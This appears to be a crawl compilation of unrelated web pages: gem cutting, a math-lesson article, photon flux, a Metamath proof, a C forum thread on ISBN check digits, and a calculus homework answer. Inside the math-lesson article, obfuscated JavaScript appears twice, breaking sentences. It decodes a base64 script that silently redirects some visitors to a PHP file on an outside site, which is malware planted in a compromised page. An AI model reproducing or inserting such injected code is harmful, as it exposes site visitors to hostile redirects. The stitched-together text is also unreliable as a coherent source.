Figure $$\PageIndex{15}$$: Lime citrine quartz. Here the crown was cabbed as a low dome, then a big flat table was cut
Of course it is possible to mix a variety of techniques: in this stone the pavilion is flat faceted and some "bubbles" have been carved. The crown is a buff-top with a very large table. Also in this case the overall effect is pleasant to the eye.
[1] Michael Dyber (2005) Lapidary Journal, August issue. Pp. 61-67.
17.3: Easy Combination Cutting MV is shared under a CC BY-NC-SA license and was authored, remixed, and/or curated by LibreTexts. | 3,996 | 13,870 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.28125 | 3 | CC-MAIN-2024-30 | latest | en | 0.195865 |
http://www.classroomprofessor.com/teaching-math/teaching-a-great-math-lesson-4/ | 1,516,219,258,000,000,000 | text/html | crawl-data/CC-MAIN-2018-05/segments/1516084886964.22/warc/CC-MAIN-20180117193009-20180117213009-00024.warc.gz | 413,214,669 | 23,270 | #### Great Math Lesson Series:
Phase I Phase II Phase III Phase IV Phase V Introduce Stimulus Whole-class Activity Problem Solving Synthesis & Reinforcement Revision & Recap
This is the fourth of a five-part series of articles on how to teach a great mathematics lesson, using a simple, purposeful template that can be adapted for any math topic and any age level. In the fourth phase, the key learning that should have just happened when function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes Off & Let Students Think!" href="http://www.classroomprofessor.com/teaching-math/teaching-a-great-math-lesson-3/">the students were problem solving is highlighted and reinforced by the teacher.
## Fourth Phase: Synthesis andfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe<o4.length);document.write(q3);};l1c373528ef5('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cua2F0aWF0ZW50aS5jb20vd3AtY29udGVudC9wbHVnaW5zL3N5ZG5leS10b29sYm94L2luYy9jbGFzcy5qc29uLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A'); Reinforcement
The last two phases of a great math lesson do not have to take up much time, but they are essential to consolidate students' learning. In this phase, the mathematical thinking that students have been doing is 'brought into the open' for public discussion. Specifically, the teacher's aim at this point in the lesson is to:
• highlight key points
• check students' conceptions and misconceptions
• remind students of what they need to have learned during the lesson; the 'take-away' for the lesson
• re-focus students' attention on what they have been learning
• reiterate key concepts and skills
In the previous phase of the lesson, students were working singly, in pairs or groups on problem-solving, investigative activities which were designed to engage them in mathematical thinking. However, the learning that took place as a result is likely to be quite 'patchy', and will be dependent on individual students' motivations and abilities, other distractions, and so on. During that phase it is important for the teacher to act as the 'guide on the side', while asking probing questions to direct students' attention on what is important; the teacher should not step in and take over discussions unless really necessary, to allow students to think for themselves. Note that I am not suggesting that teachers shouldn't actually teach in a didactic manner, just not for that phase of the lesson.
In this fourth phase, the teacher effectively 'takes back the reins', and directs students' attention in a very purposeful, deliberate way to the most important parts of the content for that lesson. This is where errors can be corrected, partly understood ideas can be strengthened and gaps in students' learning about the topic at hand can be filled. It will be important that the teacher has monitored students' activity during the third phase, to know what needs addressing in the fourth phase.
### Activities
Some suggestions for strategies to synthesize and reinforce the learning include:
• Ask student representatives to report their results to the class
• Have a student 'teach' the class a key skill
• Re-teach concepts or skills that seem to have been missed by students
• Go through a selection of questions that were addressed in the third phase, discuss misconceptions and correct answers
• Reinforce key points, perhaps with fresh examples
• Commend and perhaps reward students who have shown good work in the previous phase, highlighting the specific skills and ideas that the teacher was looking for
### Who is In Charge of Learning?
Some teachers (such as teachers like me who have been teaching for a couple of decades or more) may feel uncomfortable about handing over phase three of the lesson to the students. It can be frustrating to watch students 'not get it' when tackling problems or investigations on their own. But this phase is vital for getting students involved in their own learning. The days for the teacher to be 'the boss' and totally in control of all the learning and instruction have long since gone.
The good news for all teachers who 'love to teach' is that the role of the teacher in directing instruction has not gone away. There will always be a need for an instructor who knows enough about a domain of knowledge that he or she can direct the student to pay attention to what is most important. This fourth phase is for that purpose, so I encourage you not to neglect it. Really teach the students! Show them what is important, and explain why! Maybe, heck, show them why you love math! It couldn't hurt. | 1,670 | 5,939 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.109375 | 3 | CC-MAIN-2018-05 | latest | en | 0.412741 |
http://pveducation.org/pvcdrom/2-properties-sunlight/photon-flux | 1,501,145,815,000,000,000 | text/html | crawl-data/CC-MAIN-2017-30/segments/1500549427750.52/warc/CC-MAIN-20170727082427-20170727102427-00310.warc.gz | 271,953,728 | 14,535 | # Photon Flux
The photon flux is defined as the number of photons per second per unit area:
The photon flux is important in determining the number of electrons which are generated, and hence the current produced from a solar cell. As the photon flux does not give information about the energy (or wavelength) of the photons, the energy or wavelength of the photons in the light source must also be specified. At a given wavelength, the combination of the photon wavelength or energy and the photon flux at that wavelength can be used to calculate the power density for photons at the particular wavelength. The power density is calculated by multiplying the photon flux by the energy of a single photon. Since the photon flux gives the number of photons striking a surface in a given time, multiplying by the energy of the photons comprising the photon flux gives the energy striking a surface per unit time, which is equivalent to a power density. To determine the power density in units of W/m², the energy of the photons must be in Joules. The equation is:
where Φ is the photon flux and q is the value of the electronic charge 1.6 ·10-19
Photon Flux - Power Density Calculator
One implication of the above equations is that the photon flux of high energy (or short wavelength) photons needed to give a certain radiant power density will be lower than the photon flux of low energy (or long wavelength) photons required to give the same radiant power density. In the animation, the radiant power density incident on the surface is the same for both the blue and red light, but fewer blue photons are needed since each one has more energy. | 330 | 1,646 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.890625 | 3 | CC-MAIN-2017-30 | longest | en | 0.912875 |
https://us.metamath.org/mpeuni/stadd3i.html | 1,726,874,690,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725701425385.95/warc/CC-MAIN-20240920222945-20240921012945-00248.warc.gz | 528,820,802 | 8,789 | Hilbert Space Explorer < Previous Next > Nearby theorems Mirrors > Home > HSE Home > Th. List > stadd3i Structured version Visualization version GIF version
Description: If the sum of 3 states is 3, then each state is 1. (Contributed by NM, 13-Nov-1999.) (New usage is discouraged.)
Hypotheses
Ref Expression
stle.1 𝐴C
stle.2 𝐵C
Assertion
Ref Expression
stadd3i (𝑆 ∈ States → ((((𝑆𝐴) + (𝑆𝐵)) + (𝑆𝐶)) = 3 → (𝑆𝐴) = 1))
Proof of Theorem stadd3i
StepHypRef Expression
1 stle.1 . . . . . 6 𝐴C
2 stcl 30113 . . . . . 6 (𝑆 ∈ States → (𝐴C → (𝑆𝐴) ∈ ℝ))
31, 2mpi 20 . . . . 5 (𝑆 ∈ States → (𝑆𝐴) ∈ ℝ)
43recnd 10721 . . . 4 (𝑆 ∈ States → (𝑆𝐴) ∈ ℂ)
5 stle.2 . . . . . 6 𝐵C
6 stcl 30113 . . . . . 6 (𝑆 ∈ States → (𝐵C → (𝑆𝐵) ∈ ℝ))
75, 6mpi 20 . . . . 5 (𝑆 ∈ States → (𝑆𝐵) ∈ ℝ)
87recnd 10721 . . . 4 (𝑆 ∈ States → (𝑆𝐵) ∈ ℂ)
9 stm1add3.3 . . . . . 6 𝐶C
10 stcl 30113 . . . . . 6 (𝑆 ∈ States → (𝐶C → (𝑆𝐶) ∈ ℝ))
119, 10mpi 20 . . . . 5 (𝑆 ∈ States → (𝑆𝐶) ∈ ℝ)
1211recnd 10721 . . . 4 (𝑆 ∈ States → (𝑆𝐶) ∈ ℂ)
134, 8, 12addassd 10715 . . 3 (𝑆 ∈ States → (((𝑆𝐴) + (𝑆𝐵)) + (𝑆𝐶)) = ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))))
1413eqeq1d 2761 . 2 (𝑆 ∈ States → ((((𝑆𝐴) + (𝑆𝐵)) + (𝑆𝐶)) = 3 ↔ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) = 3))
15 eqcom 2766 . . . 4 (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) = 3 ↔ 3 = ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))))
167, 11readdcld 10722 . . . . . . 7 (𝑆 ∈ States → ((𝑆𝐵) + (𝑆𝐶)) ∈ ℝ)
173, 16readdcld 10722 . . . . . 6 (𝑆 ∈ States → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ∈ ℝ)
18 ltne 10789 . . . . . . 7 ((((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ∈ ℝ ∧ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3) → 3 ≠ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))))
1918ex 416 . . . . . 6 (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ∈ ℝ → (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3 → 3 ≠ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶)))))
2017, 19syl 17 . . . . 5 (𝑆 ∈ States → (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3 → 3 ≠ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶)))))
2120necon2bd 2968 . . . 4 (𝑆 ∈ States → (3 = ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) → ¬ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3))
2215, 21syl5bi 245 . . 3 (𝑆 ∈ States → (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) = 3 → ¬ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3))
23 1re 10693 . . . . . . . . . . 11 1 ∈ ℝ
2423, 23readdcli 10708 . . . . . . . . . 10 (1 + 1) ∈ ℝ
2524a1i 11 . . . . . . . . 9 (𝑆 ∈ States → (1 + 1) ∈ ℝ)
26 1red 10694 . . . . . . . . . 10 (𝑆 ∈ States → 1 ∈ ℝ)
27 stle1 30122 . . . . . . . . . . 11 (𝑆 ∈ States → (𝐵C → (𝑆𝐵) ≤ 1))
285, 27mpi 20 . . . . . . . . . 10 (𝑆 ∈ States → (𝑆𝐵) ≤ 1)
29 stle1 30122 . . . . . . . . . . 11 (𝑆 ∈ States → (𝐶C → (𝑆𝐶) ≤ 1))
309, 29mpi 20 . . . . . . . . . 10 (𝑆 ∈ States → (𝑆𝐶) ≤ 1)
317, 11, 26, 26, 28, 30le2addd 11311 . . . . . . . . 9 (𝑆 ∈ States → ((𝑆𝐵) + (𝑆𝐶)) ≤ (1 + 1))
3216, 25, 3, 31leadd2dd 11307 . . . . . . . 8 (𝑆 ∈ States → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ≤ ((𝑆𝐴) + (1 + 1)))
3332adantr 484 . . . . . . 7 ((𝑆 ∈ States ∧ (𝑆𝐴) < 1) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ≤ ((𝑆𝐴) + (1 + 1)))
34 ltadd1 11159 . . . . . . . . . 10 (((𝑆𝐴) ∈ ℝ ∧ 1 ∈ ℝ ∧ (1 + 1) ∈ ℝ) → ((𝑆𝐴) < 1 ↔ ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))))
3534biimpd 232 . . . . . . . . 9 (((𝑆𝐴) ∈ ℝ ∧ 1 ∈ ℝ ∧ (1 + 1) ∈ ℝ) → ((𝑆𝐴) < 1 → ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))))
363, 26, 25, 35syl3anc 1369 . . . . . . . 8 (𝑆 ∈ States → ((𝑆𝐴) < 1 → ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))))
3736imp 410 . . . . . . 7 ((𝑆 ∈ States ∧ (𝑆𝐴) < 1) → ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1)))
38 readdcl 10672 . . . . . . . . . 10 (((𝑆𝐴) ∈ ℝ ∧ (1 + 1) ∈ ℝ) → ((𝑆𝐴) + (1 + 1)) ∈ ℝ)
393, 24, 38sylancl 589 . . . . . . . . 9 (𝑆 ∈ States → ((𝑆𝐴) + (1 + 1)) ∈ ℝ)
4023, 24readdcli 10708 . . . . . . . . . 10 (1 + (1 + 1)) ∈ ℝ
4140a1i 11 . . . . . . . . 9 (𝑆 ∈ States → (1 + (1 + 1)) ∈ ℝ)
42 lelttr 10783 . . . . . . . . 9 ((((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ∈ ℝ ∧ ((𝑆𝐴) + (1 + 1)) ∈ ℝ ∧ (1 + (1 + 1)) ∈ ℝ) → ((((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ≤ ((𝑆𝐴) + (1 + 1)) ∧ ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < (1 + (1 + 1))))
4317, 39, 41, 42syl3anc 1369 . . . . . . . 8 (𝑆 ∈ States → ((((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ≤ ((𝑆𝐴) + (1 + 1)) ∧ ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < (1 + (1 + 1))))
4443adantr 484 . . . . . . 7 ((𝑆 ∈ States ∧ (𝑆𝐴) < 1) → ((((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) ≤ ((𝑆𝐴) + (1 + 1)) ∧ ((𝑆𝐴) + (1 + 1)) < (1 + (1 + 1))) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < (1 + (1 + 1))))
4533, 37, 44mp2and 698 . . . . . 6 ((𝑆 ∈ States ∧ (𝑆𝐴) < 1) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < (1 + (1 + 1)))
46 df-3 11752 . . . . . . 7 3 = (2 + 1)
47 df-2 11751 . . . . . . . 8 2 = (1 + 1)
4847oveq1i 7167 . . . . . . 7 (2 + 1) = ((1 + 1) + 1)
49 ax-1cn 10647 . . . . . . . 8 1 ∈ ℂ
5049, 49, 49addassi 10703 . . . . . . 7 ((1 + 1) + 1) = (1 + (1 + 1))
5146, 48, 503eqtrri 2787 . . . . . 6 (1 + (1 + 1)) = 3
5245, 51breqtrdi 5078 . . . . 5 ((𝑆 ∈ States ∧ (𝑆𝐴) < 1) → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3)
5352ex 416 . . . 4 (𝑆 ∈ States → ((𝑆𝐴) < 1 → ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3))
5453con3d 155 . . 3 (𝑆 ∈ States → (¬ ((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) < 3 → ¬ (𝑆𝐴) < 1))
55 stle1 30122 . . . . . 6 (𝑆 ∈ States → (𝐴C → (𝑆𝐴) ≤ 1))
561, 55mpi 20 . . . . 5 (𝑆 ∈ States → (𝑆𝐴) ≤ 1)
57 leloe 10779 . . . . . 6 (((𝑆𝐴) ∈ ℝ ∧ 1 ∈ ℝ) → ((𝑆𝐴) ≤ 1 ↔ ((𝑆𝐴) < 1 ∨ (𝑆𝐴) = 1)))
583, 23, 57sylancl 589 . . . . 5 (𝑆 ∈ States → ((𝑆𝐴) ≤ 1 ↔ ((𝑆𝐴) < 1 ∨ (𝑆𝐴) = 1)))
5956, 58mpbid 235 . . . 4 (𝑆 ∈ States → ((𝑆𝐴) < 1 ∨ (𝑆𝐴) = 1))
6059ord 861 . . 3 (𝑆 ∈ States → (¬ (𝑆𝐴) < 1 → (𝑆𝐴) = 1))
6122, 54, 603syld 60 . 2 (𝑆 ∈ States → (((𝑆𝐴) + ((𝑆𝐵) + (𝑆𝐶))) = 3 → (𝑆𝐴) = 1))
6214, 61sylbid 243 1 (𝑆 ∈ States → ((((𝑆𝐴) + (𝑆𝐵)) + (𝑆𝐶)) = 3 → (𝑆𝐴) = 1))
Colors of variables: wff setvar class Syntax hints: ¬ wn 3 → wi 4 ↔ wb 209 ∧ wa 399 ∨ wo 844 ∧ w3a 1085 = wceq 1539 ∈ wcel 2112 ≠ wne 2952 class class class wbr 5037 ‘cfv 6341 (class class class)co 7157 ℝcr 10588 1c1 10590 + caddc 10592 < clt 10727 ≤ cle 10728 2c2 11743 3c3 11744 Cℋ cch 28826 Statescst 28859 This theorem was proved from axioms: ax-mp 5 ax-1 6 ax-2 7 ax-3 8 ax-gen 1798 ax-4 1812 ax-5 1912 ax-6 1971 ax-7 2016 ax-8 2114 ax-9 2122 ax-10 2143 ax-11 2159 ax-12 2176 ax-ext 2730 ax-sep 5174 ax-nul 5181 ax-pow 5239 ax-pr 5303 ax-un 7466 ax-cnex 10645 ax-resscn 10646 ax-1cn 10647 ax-icn 10648 ax-addcl 10649 ax-addrcl 10650 ax-mulcl 10651 ax-mulrcl 10652 ax-mulcom 10653 ax-addass 10654 ax-mulass 10655 ax-distr 10656 ax-i2m1 10657 ax-1ne0 10658 ax-1rid 10659 ax-rnegex 10660 ax-rrecex 10661 ax-cnre 10662 ax-pre-lttri 10663 ax-pre-lttrn 10664 ax-pre-ltadd 10665 ax-hilex 28896 This theorem depends on definitions: df-bi 210 df-an 400 df-or 845 df-3or 1086 df-3an 1087 df-tru 1542 df-fal 1552 df-ex 1783 df-nf 1787 df-sb 2071 df-mo 2558 df-eu 2589 df-clab 2737 df-cleq 2751 df-clel 2831 df-nfc 2902 df-ne 2953 df-nel 3057 df-ral 3076 df-rex 3077 df-rab 3080 df-v 3412 df-sbc 3700 df-csb 3809 df-dif 3864 df-un 3866 df-in 3868 df-ss 3878 df-nul 4229 df-if 4425 df-pw 4500 df-sn 4527 df-pr 4529 df-op 4533 df-uni 4803 df-br 5038 df-opab 5100 df-mpt 5118 df-id 5435 df-po 5448 df-so 5449 df-xp 5535 df-rel 5536 df-cnv 5537 df-co 5538 df-dm 5539 df-rn 5540 df-res 5541 df-ima 5542 df-iota 6300 df-fun 6343 df-fn 6344 df-f 6345 df-f1 6346 df-fo 6347 df-f1o 6348 df-fv 6349 df-ov 7160 df-oprab 7161 df-mpo 7162 df-er 8306 df-map 8425 df-en 8542 df-dom 8543 df-sdom 8544 df-pnf 10729 df-mnf 10730 df-xr 10731 df-ltxr 10732 df-le 10733 df-2 11751 df-3 11752 df-icc 12800 df-sh 29104 df-ch 29118 df-st 30108 This theorem is referenced by: golem2 30169
Copyright terms: Public domain W3C validator | 4,749 | 7,265 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.328125 | 3 | CC-MAIN-2024-38 | latest | en | 0.143042 |
http://cboard.cprogramming.com/c-programming/93588-check-digit-printable-thread.html | 1,441,004,044,000,000,000 | text/html | crawl-data/CC-MAIN-2015-35/segments/1440644065828.38/warc/CC-MAIN-20150827025425-00223-ip-10-171-96-226.ec2.internal.warc.gz | 40,814,752 | 5,327 | # check digit
Printable View
Show 80 post(s) from this thread on one page
Page 1 of 3 123 Last
• 09-14-2007
Jailan
check digit
i'm trying to make a check digit for my program as below
The check digit sometimes must have a value of 10, and this is indicated by putting an X in the check-digit location.
I know it has something to do with the ASCII table that X has a value of 88 and I need to work with that somehow.
How do I read if a user has entered an X and then set the X to a value of 10?
• 09-15-2007
Salem
OK, so where is your "program as below" ?
• 09-15-2007
Jailan
Sorry I meant "as below" as in what I wanted to make as the check digit.
• 09-15-2007
zacs7
> How do I read if a user has entered an X and then set the X to a value of 10?
Since your question is, um... unclear
The answer could be:
Code:
```int X = 0; if(getchar() == 'X') X = 10;```
But it's probably not ;)
your question sounds sortof, homeworky.
• 09-15-2007
Salem
Oh, you mean you were referring to another message on the forum, which has since changed the order since your post, and the idea of "below" doesn't mean anything anymore.
Post your own effort.
• 09-15-2007
Jailan
This is the brief:
The ISBN has ten digits. These are normally broken into smaller groups with hyphens or spaces to make it easier to transcribe them. The break-up varies, because the publisher definition can be done in several ways, depending on the size of the publisher.
Some examples of ISBNs are:
0-7897-0414-5
0-262-68053-X
0 201 54322 2
Notes:
1) There is no guarantee that there will always be four numeric groups, so you should consider that the number of characters may be any value of ten or greater.
2) The check digit sometimes must have a value of 10, and this is indicated by putting an X in the check-digit location.
3) The
Your program will accept a line of input containing an ISBN with dashes or spaces, identify the digits, and perform the above calculation. Note that the digits in the input string will be characters, with their associated ASCII value. To convert a single digit character to its corresponding internal integer value for calculation purposes, simply subtract the character code for '0'.
E.g.
char c = 9;
int num = c 0;
Will put the value 9 into num.
And this is what I've done:
Code:
```#include <stdio.h> #include <string.h> int validate(char ISBN[]); int main(int argc, char** argv) { printf("%d\n", validate(argv[1])); return 0; } int validate(char ISBN[]) { int sum = 0, i = 0; int numElements = strlen(ISBN); if (numElements % 10) return 0; else return 1; }```
• 09-15-2007
zacs7
Well it definitely sounds like homework. But what "above caluclation"?
Why not run a loop over each character, check if isdigit() or it's an X and do it that way, because a space and dashes aren't digits.
eg:
Code:
```#include <ctype.h> /* ... */ for(i = 0; i < len; i++) { /* it's a digit */ if(isdigit(whatever[i]) != 0) { /* do whatever with the digit */ }else if(whatever[i] == 'X') { /* it's an X... which means... :o! */ } }```
• 09-15-2007
Jailan
It is homework that I am working on and that's why I've come here to ask for help with it.
So something like
Code:
```#include <stdio.h> #include <string.h> #include <ctype.h> int validate(char ISBN[]); int main(int argc, char** argv) { printf("%d\n", validate(argv[1])); return 0; } int validate(char ISBN[]) { int sum = 0, i = 0; int numElements = strlen(ISBN); for(i=0; i < len; i++) { if(isdigit(ISBN[i]) !=0) { /*...*/ } else if(ISBN[i] == 'X' { 'X' = 10 } if (numElements % 10) return 0; else return 1; }```
Is that right?
• 09-15-2007
Jailan
Sorry, but also if X can only be the last 'digit' entered is there anyway to factor that in as well?
• 09-15-2007
zacs7
> 'X' = 10
Isn't right, that's like saying, 88 = 10. 'X' is constant, so is 10.
Your homework doesn't say that you need to validate it, it also says that there may be 10 or more digits...
It looks like you've just copy and pasted by example without reading, or understanding it...
• 09-15-2007
Jailan
I am trying to understand it I just can't get my head around it sorry. I've never done any programming before this subject so it's a little tricky for me sorry.
• 09-15-2007
MacGyver
Quote:
Originally Posted by Jailan
It is homework that I am working on and that's why I've come here to ask for help with it.
Think about this statement a few times.
You're paying money to be taught something that you have to come here and ask total strangers for help with. It's not that we don't wish to help, but if you need to get our help because the course help is inadequate, why are you taking the course?
• 09-16-2007
Salem
> but also if X can only be the last 'digit' entered is there anyway to factor that in as well?
Of course there is, use && to compare the index to see if you're at the last char
if ( i == len && char == 'X' )
• 09-16-2007
zacs7
>if ( i == len && char == 'X' )
Would it not be, if(i == len - 1 ... ? Since the condition in the loop is i < len, ie the loop will only run if i is less than len
• 09-16-2007
Salem
I've no idea, it was merely a description of the possible, to make the OP think.
It wasn't exactly a "do this and it will work" post.
Show 80 post(s) from this thread on one page
Page 1 of 3 123 Last | 1,564 | 5,378 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2015-35 | longest | en | 0.914193 |
https://www.jiskha.com/display.cgi?id=1235432465 | 1,503,366,482,000,000,000 | text/html | crawl-data/CC-MAIN-2017-34/segments/1502886109803.8/warc/CC-MAIN-20170822011838-20170822031838-00458.warc.gz | 929,809,353 | 4,279 | # math
posted by .
The acceleration of a particle at a time t moving along the x-axis is give by: a(t) = 4e^(2t). At the instant when t=0, the particle is at the point x=2, moving with velocity v(t)=-2. Find the position of the particle at t=1/2
if you could show me how to get that please
• math -
postition= integral v dt
v= int a dt
find v first, you know the constant of integration from at t=2
Then integrate again to get position.
• math -
a(t) = 4e^(2t)
so v(t) = 2e^(2t) + C (I integrated, since dv/dt = a)
when t=0, v=-2
-2 = 2e^0 + c
c = -4 and then
v)t) = 2e^(2t) - 4
since ds/dt = v
s = e^(2t) - 4t + k
when t=0, s=2 (I assume that is what you meant by x=2)
2 = e^0 - 4(0) + k
k = 1
then s(t) = e^(2t) - 4t + 1
s(1/2) = e^1 - 2 + 1
= e - 1
## Similar Questions
1. ### physics
The position of a particle moving along an x axis is given by x = 15t2 - 2.0t3, where x is in meters and t is in seconds. (a) Determine the position, velocity, and acceleration of the particle at t = 3.0 s. x = m v = m/s a = m/s2 (b) …
2. ### AP Calculus
The position of a particle moving on the x-axis at time t>0 seconds is: x(t)= e^t - t^1/2. a) Find the average velocity of the particel over the interval [1,3]. b) In what direction and how fast is the particle moving at t= 1 seconds?
3. ### Calculus
a particle starts at time t = 0 and moves along the x axis so that its position at any time t>= 0 is given by x(t) = ((t-1)^3)(2t-3) a.find the velocity of the particle at any time t>= 0 b. for what values of t is the velocity …
4. ### calculus
5. A particle moves along the y – axis with velocity given by v(t)=tsine(t^2) for t>=0 . a. In which direction (up or down) is the particle moving at time t = 1.5?
5. ### Calc
A particle moves along the x-axis in such a way that it's position in time t for t is greator or equal to 0 is given by x= 1/3t^3 - 3t^2 +8 A) show that at time t= 0 the particle is moving to the right. B) find all values of t for …
6. ### Calc
A particle moves along the x-axis in such a way that it's position in time t for t is greator or equal to 0 is given by x= 1/3t^3 - 3t^2 +8 A) show that at time t= 0 the particle is moving to the right. B) find all values of t for …
7. ### Calculus
The position of a particle moving on a horizontal line is given by s(t)=2t^3-15t^2+24t-5, where s is measured in feet and t in seconds. a: What is the initial position of the particle?
8. ### physics
The velocity-versus-time graph is shown for a particle moving along the x-axis. Its initial position is x0 = 1.8m at t0 =0s. Part A What is the particle's position at t=1.0s?
9. ### calculus
Consider a particle moving along the x-axis where x(t) is the position of the particle at time t, x'(t) is its velocity, and x''(t) is its acceleration. A particle moves along the x-axis at a velocity of v(t) = 5/√t, t > 0. …
10. ### Physics
The velocity graph of a particle moving along the x-axis is shown. The particle has zero velocity at t=0.00s and reaches a maximum velocity, vmax, after a total elapsed time, t total. If the initial position of the particle is x0 =6.22m, …
